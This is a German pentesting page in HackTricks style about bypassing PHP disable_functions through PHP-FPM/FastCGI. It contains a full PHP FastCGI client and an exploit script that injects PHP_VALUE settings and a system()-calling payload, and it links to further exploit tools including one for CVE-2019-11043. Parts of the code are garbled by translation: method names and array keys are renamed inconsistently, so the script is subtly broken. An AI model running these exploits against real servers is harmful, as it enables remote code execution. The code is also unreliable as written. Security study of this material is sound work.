Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an dieHackTricks und HackTricks Cloud Github-Repositorys senden.
PHP-FPM
PHP-FPM wird als überlegene Alternative zum Standard-PHP FastCGI präsentiert und bietet Funktionen, die insbesondere für Websites mit hohem Traffic vorteilhaft sind. Es arbeitet über einen Master-Prozess, der eine Sammlung von Worker-Prozessen überwacht. Bei einer PHP-Skriptanfrage ist es der Webserver, der eine FastCGI-Proxyverbindung zum PHP-FPM-Dienst initiiert. Dieser Dienst hat die Fähigkeit, Anfragen entweder über Netzwerkports auf dem Server oder Unix-Sockets zu empfangen.
Trotz der Vermittlerrolle der Proxyverbindung muss PHP-FPM auf derselben Maschine wie der Webserver betriebsbereit sein. Die Verbindung, die es verwendet, unterscheidet sich von herkömmlichen Proxyverbindungen, obwohl sie auf einem Proxy basiert. Nach Erhalt einer Anfrage verarbeitet ein verfügbarer Worker von PHP-FPM diese und führt das PHP-Skript aus, um die Ergebnisse dann an den Webserver zurückzuleiten. Nachdem ein Worker die Verarbeitung einer Anfrage abgeschlossen hat, steht er wieder für bevorstehende Anfragen zur Verfügung.
Aber was ist CGI und FastCGI?
CGI
Normalerweise werden Webseiten, Dateien und alle Dokumente, die vom Webserver an den Browser übertragen werden, in einem bestimmten öffentlichen Verzeichnis wie z.B. home/user/public_html gespeichert. Wenn der Browser bestimmte Inhalte anfordert, überprüft der Server dieses Verzeichnis und sendet die erforderliche Datei an den Browser.
Wenn CGI auf dem Server installiert ist, wird auch das spezifische cgi-bin-Verzeichnis hinzugefügt, z.B. home/user/public_html/cgi-bin. CGI-Skripte werden in diesem Verzeichnis gespeichert. Jede Datei im Verzeichnis wird als ausführbares Programm behandelt. Beim Zugriff auf ein Skript aus dem Verzeichnis sendet der Server die Anfrage an die Anwendung, die für dieses Skript verantwortlich ist, anstatt den Dateiinhalt an den Browser zu senden. Nach Abschluss der Verarbeitung der Eingabedaten sendet die Anwendung die Ausgabedaten an den Webserver, der die Daten an den HTTP-Client weiterleitet.
Wenn beispielsweise das CGI-Skript http://meineseitenname.com/cgi-bin/datei.pl aufgerufen wird, führt der Server die entsprechende Perl-Anwendung über CGI aus. Die aus der Skriptausführung generierten Daten werden von der Anwendung an den Webserver gesendet. Der Server wiederum überträgt die Daten an den Browser. Wenn der Server kein CGI hätte, würde der Browser den .pl-Dateicode selbst anzeigen. (Erklärung von hier)
FastCGI
FastCGI ist eine neuere Webtechnologie, eine verbesserte CGI-Version, da die Hauptfunktionalität gleich bleibt.
Die Notwendigkeit, FastCGI zu entwickeln, ergab sich aus der raschen Entwicklung und Komplexität von Webanwendungen sowie aus den Skalierbarkeitsmängeln der CGI-Technologie. Um diese Anforderungen zu erfüllen, führte Open MarketFastCGI ein - eine leistungsstarke Version der CGI-Technologie mit erweiterten Fähigkeiten.
disable_functions bypass
Es ist möglich, PHP-Code auszuführen, indem man den FastCGI missbraucht und die disable_functions-Einschränkungen umgeht.
Über Gopherus
Ich bin mir nicht sicher, ob dies in modernen Versionen funktioniert, da ich es einmal versucht habe und es nichts ausgeführt hat. Bitte kontaktieren Sie mich, wenn Sie weitere Informationen dazu haben, über [PEASS & HackTricks Telegram-Gruppe hier](https://t.me/peass), oder Twitter [@carlospolopm](https://twitter.com/hacktricks_live).
Mit Gopherus können Sie ein Payload generieren, um es an den FastCGI-Listener zu senden und beliebige Befehle auszuführen:
Ich bin mir nicht sicher, ob dies in modernen Versionen funktioniert, weil ich es einmal versucht habe und nichts ausführen konnte. Tatsächlich konnte ich sehen, dass phpinfo() bei der FastCGI-Ausführung angezeigt hat, dass disable_functions leer war, aber PHP hat mich irgendwie immer noch daran gehindert, eine zuvor deaktivierte Funktion auszuführen. Bitte kontaktieren Sie mich, wenn Sie weitere Informationen dazu haben, über die [PEASS & HackTricks Telegram-Gruppe hier](https://t.me/peass), oder Twitter [@carlospolopm](https://twitter.com/hacktricks_live)**.
<?php/*** Note : Code is released under the GNU LGPL** Please do not change the header of this file** This library is free software; you can redistribute it and/or modify it under the terms of the GNU* Lesser General Public License as published by the Free Software Foundation; either version 2 of* the License, or (at your option) any later version.** This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.** See the GNU Lesser General Public License for more details.*//*** Handles communication with a FastCGI application** @author Pierrick Charron <pierrick@webstart.fr>* @version 1.0*/classFCGIClient{const VERSION_1 =1;const BEGIN_REQUEST =1;const ABORT_REQUEST =2;const END_REQUEST =3;const PARAMS =4;const STDIN =5;const STDOUT =6;const STDERR =7;const DATA =8;const GET_VALUES =9;const GET_VALUES_RESULT =10;const UNKNOWN_TYPE =11;const MAXTYPE =self::UNKNOWN_TYPE;const RESPONDER =1;const AUTHORIZER =2;const FILTER =3;const REQUEST_COMPLETE =0;const CANT_MPX_CONN =1;const OVERLOADED =2;const UNKNOWN_ROLE =3;const MAX_CONNS ='MAX_CONNS';const MAX_REQS ='MAX_REQS';const MPXS_CONNS ='MPXS_CONNS';const HEADER_LEN =8;/*** Socket* @varResource*/private $_sock =null;/*** Host* @varString*/private $_host =null;/*** Port* @varInteger*/private $_port =null;/*** Keep Alive* @varBoolean*/private $_keepAlive =false;/*** Constructor** @paramString $host Host of the FastCGI application* @paramInteger $port Port of the FastCGI application*/publicfunction__construct($host, $port =9000) // and default value for port, just for unixdomain socket{$this->_host = $host;$this->_port = $port;}/*** Define whether or not the FastCGI application should keep the connection* alive at the end of a request** @paramBoolean $b true if the connection should stay alive, false otherwise*/publicfunctionsetKeepAlive($b){$this->_keepAlive = (boolean)$b;if (!$this->_keepAlive &&$this->_sock) {fclose($this->_sock);}}/*** Get the keep alive status** @returnBoolean true if the connection should stay alive, false otherwise*/publicfunctiongetKeepAlive(){return$this->_keepAlive;}/*** Create a connection to the FastCGI application*/privatefunctionconnect(){if (!$this->_sock) {//$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);$this->_sock =stream_socket_client($this->_host, $errno, $errstr,5);if (!$this->_sock) {thrownewException('Unable to connect to FastCGI application');}}}/*** Build a FastCGI packet** @paramInteger $type Type of the packet* @paramString $content Content of the packet* @paramInteger $requestId RequestId*/privatefunctionbuildPacket($type, $content, $requestId =1){$clen =strlen($content);returnchr(self::VERSION_1)/* version */.chr($type)/* type */.chr(($requestId >>8) &0xFF)/* requestIdB1 */.chr($requestId &0xFF)/* requestIdB0 */.chr(($clen >>8 ) &0xFF)/* contentLengthB1 */.chr($clen &0xFF)/* contentLengthB0 */.chr(0)/* paddingLength */.chr(0)/* reserved */. $content; /* content */}/*** Build an FastCGI Name value pair** @paramString $name Name* @paramString $value Value* @returnString FastCGI Name value pair*/privatefunctionbuildNvpair($name, $value){$nlen =strlen($name);$vlen =strlen($value);if ($nlen <128) {/* nameLengthB0 */$nvpair =chr($nlen);} else {/* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */$nvpair =chr(($nlen >>24) |0x80).chr(($nlen >>16) &0xFF).chr(($nlen >>8) &0xFF).chr($nlen &0xFF);}if ($vlen <128) {/* valueLengthB0 */$nvpair .=chr($vlen);} else {/* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */$nvpair .=chr(($vlen >>24) |0x80).chr(($vlen >>16) &0xFF).chr(($vlen >>8) &0xFF).chr($vlen &0xFF);}/* nameData & valueData */return $nvpair . $name . $value;}/*** Read a set of FastCGI Name value pairs** @paramString $data Data containing the set of FastCGI NVPair* @returnarray of NVPair*/privatefunctionreadNvpair($data, $length =null){$array =array();if ($length ===null) {$length =strlen($data);}$p =0;while ($p != $length) {$nlen =ord($data{$p++});if ($nlen >=128) {$nlen = ($nlen &0x7F<<24);$nlen |= (ord($data{$p++})<<16);$nlen |= (ord($data{$p++})<<8);$nlen |= (ord($data{$p++}));}$vlen =ord($data{$p++});if ($vlen >=128) {$vlen = ($nlen &0x7F<<24);$vlen |= (ord($data{$p++})<<16);$vlen |= (ord($data{$p++})<<8);$vlen |= (ord($data{$p++}));}$array[substr($data, $p, $nlen)] =substr($data, $p+$nlen, $vlen);$p += ($nlen + $vlen);}return $array;}/*** Decode a FastCGI Packet** @paramString $data String containing all the packet* @returnarray*/privatefunctiondecodePacketHeader($data){$ret =array();$ret['version'] =ord($data{0});$ret['type'] =ord($data{1});$ret['requestId'] = (ord($data{2})<<8) +ord($data{3});$ret['contentLength'] = (ord($data{4})<<8) +ord($data{5});$ret['paddingLength'] =ord($data{6});$ret['reserved'] =ord($data{7});return $ret;}/*** Read a FastCGI Packet** @returnarray*/privatefunctionreadPacket(){if ($packet =fread($this->_sock,self::HEADER_LEN)) {$resp =$this->decodePacketHeader($packet);$resp['content'] ='';if ($resp['contentLength']) {$len = $resp['contentLength'];while ($len && $buf=fread($this->_sock, $len)) {$len -=strlen($buf);$resp['content'] .= $buf;}}if ($resp['paddingLength']) {$buf=fread($this->_sock, $resp['paddingLength']);}return $resp;} else {returnfalse;}}/*** Get Informations on the FastCGI application** @paramarray $requestedInfo information to retrieve* @returnarray*/publicfunctiongetValues(array $requestedInfo){$this->connect();$request ='';foreach ($requestedInfo as $info) {$request .=$this->buildNvpair($info,'');}fwrite($this->_sock,$this->buildPacket(self::GET_VALUES, $request,0));$resp =$this->readPacket();if ($resp['type'] ==self::GET_VALUES_RESULT) {return$this->readNvpair($resp['content'], $resp['length']);} else {thrownewException('Unexpected response type, expecting GET_VALUES_RESULT');}}/*** Execute a request to the FastCGI application** @paramarray $params Array of parameters* @paramString $stdin Content* @Rückgabe String*/publicfunctionanfrage(array $params, $stdin){$response ='';$this->verbinden();$anfrage = $this->erstellenPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5));
$paramsAnfrage ='';foreach ($params as $schlüssel => $wert) {$paramsAnfrage .=$this->erstellenNvpaar($schlüssel, $wert);}if ($paramsAnfrage) {$anfrage .=$this->erstellenPacket(self::PARAMS, $paramsAnfrage);}$anfrage .=$this->erstellenPacket(self::PARAMS,'');if ($stdin) {$anfrage .=$this->erstellenPacket(self::STDIN, $stdin);}$anfrage .=$this->erstellenPacket(self::STDIN,'');fwrite($this->_sock, $anfrage);do {$antwort =$this->lesenPacket();if ($antwort['typ'] ==self::STDOUT || $antwort['typ'] ==self::STDERR) {$response .= $antwort['inhalt'];}} while ($antwort && $antwort['typ'] !=self::END_REQUEST);var_dump($antwort);if (!is_array($antwort)) {thrownewException('Ungültige Anfrage');}switch (ord($antwort['inhalt']{4})) {caseself::CANT_MPX_CONN:thrownewException('Diese App kann nicht multiplexen [CANT_MPX_CONN]');break;caseself::OVERLOADED:thrownewException('Neue Anfrage abgelehnt; zu beschäftigt [OVERLOADED]');break;caseself::UNKNOWN_ROLE:thrownewException('Rollenwert unbekannt [UNKNOWN_ROLE]');break;caseself::REQUEST_COMPLETE:return $response;}}}?><?php// echter Exploit beginnt hierif (!isset($_REQUEST['cmd'])) {die("Überprüfen Sie Ihre Eingabe\n");}if (!isset($_REQUEST['dateipfad'])) {$dateipfad =__FILE__;}else{$dateipfad = $_REQUEST['dateipfad'];}$anfrage ='/'.basename($dateipfad);$uri = $anfrage .'?'.'befehl='.$_REQUEST['cmd'];$client =newFCGIClient("unix:///var/run/php-fpm.sock",-1);$code ="<?php system(\$_REQUEST['command']); phpinfo(); ?>"; // PHP-Payload -- Macht nichts$php_wert ="disable_functions = \nallow_url_include = On\nopen_basedir = /\nauto_prepend_file = php://input";//$php_wert = "disable_functions = \nallow_url_include = On\nopen_basedir = /\nauto_prepend_file = http://127.0.0.1/e.php";
$params =array('GATEWAY_INTERFACE'=>'FastCGI/1.0','REQUEST_METHOD'=>'POST','SCRIPT_FILENAME'=> $dateipfad,'SCRIPT_NAME'=> $anfrage,'QUERY_STRING'=>'befehl='.$_REQUEST['cmd'],'REQUEST_URI'=> $uri,'DOCUMENT_URI'=> $anfrage,#'DOCUMENT_ROOT' => '/','PHP_VALUE'=> $php_wert,'SERVER_SOFTWARE'=>'80sec/wofeiwo','REMOTE_ADDR'=>'127.0.0.1','REMOTE_PORT'=>'9985','SERVER_ADDR'=>'127.0.0.1','SERVER_PORT'=>'80','SERVER_NAME'=>'localhost','SERVER_PROTOCOL'=>'HTTP/1.1','CONTENT_LENGTH'=>strlen($code));// print_r($_REQUEST);// print_r($params);//echo "Anruf: $uri\n\n";echo $client->anfrage($params, $code)."\n";?>Verwenden Sie die vorherige Funktion, um festzustellen, dass die Funktion **`system`** immer noch deaktiviert ist, aber **`phpinfo()`** zeigt **`disable_functions`** als **leer** an:
![](<../../../../.gitbook/assets/image (188).png>)![](<../../../../.gitbook/assets/image (713).png>)**Daher denke ich, dass Sie `disable_functions` nur über die PHP `.ini`-Konfigurationsdateien festlegen können und der PHP\_VALUE diese Einstellung nicht außer Kraft setzen wird.**
### [**FuckFastGCI**](https://github.com/w181496/FuckFastcgi)Dies ist ein PHP-Skript, um das FastCGI-Protokoll auszunutzen, um `open_basedir` und `disable_functions` zu umgehen.\Es wird Ihnen helfen, strenge `disable_functions` zu umgehen, um RCE durch das Laden der bösartigen Erweiterung auszuführen.\
Sie können es hier abrufen: [https://github.com/w181496/FuckFastcgi](https://github.com/w181496/FuckFastcgi) oder eine leicht modifizierte und verbesserte Version hier: [https://github.com/BorelEnzo/FuckFastcgi](https://github.com/BorelEnzo/FuckFastcgi)
Sie werden feststellen, dass der Exploit dem vorherigen Code sehr ähnlich ist, aber anstatt zu versuchen, `disable_functions` mit PHP\_VALUE zu umgehen, versucht er, **ein externes PHP-Modul zu laden**, um Code unter Verwendung der Parameter `extension_dir` und `extension` innerhalb der Variablen `PHP_ADMIN_VALUE` auszuführen.\
**HINWEIS1**: Sie müssen wahrscheinlich die Erweiterung mit der **gleichen PHP-Version neu kompilieren**, die der Server verwendet (Sie können dies im Ausgabebereich von phpinfo überprüfen):
![](<../../../../.gitbook/assets/image (180).png>)<div data-gb-custom-block data-tag="hint" data-style='danger'>**HINWEIS2**: Mir ist es gelungen, dies zu erreichen, indem ich die Werte `extension_dir` und `extension` in eine PHP `.ini`-Konfigurationsdatei eingefügt habe (etwas, das Sie nicht können, wenn Sie einen Server angreifen). Aber aus irgendeinem Grund, als ich diesen Exploit verwendete und die Erweiterung aus der Variablen `PHP_ADMIN_VALUE` lud, ist der Prozess einfach abgestürzt, daher weiß ich nicht, ob diese Technik noch gültig ist.
</div>### PHP-FPM Remote Code Execution Vulnerability (CVE-2019–11043)Sie können diese Schwachstelle mit [**phuip-fpizdam**](https://github.com/neex/phuip-fpizdam) ausnutzen und sie in dieser Docker-Umgebung testen: [https://github.com/vulhub/vulhub/tree/master/php/CVE-2019-11043](https://github.com/vulhub/vulhub/tree/master/php/CVE-2019-11043).\
Sie finden auch eine Analyse der Schwachstelle [**hier**](https://medium.com/@knownsec404team/php-fpm-remote-code-execution-vulnerability-cve-2019-11043-analysis-35fd605dd2dc)**.**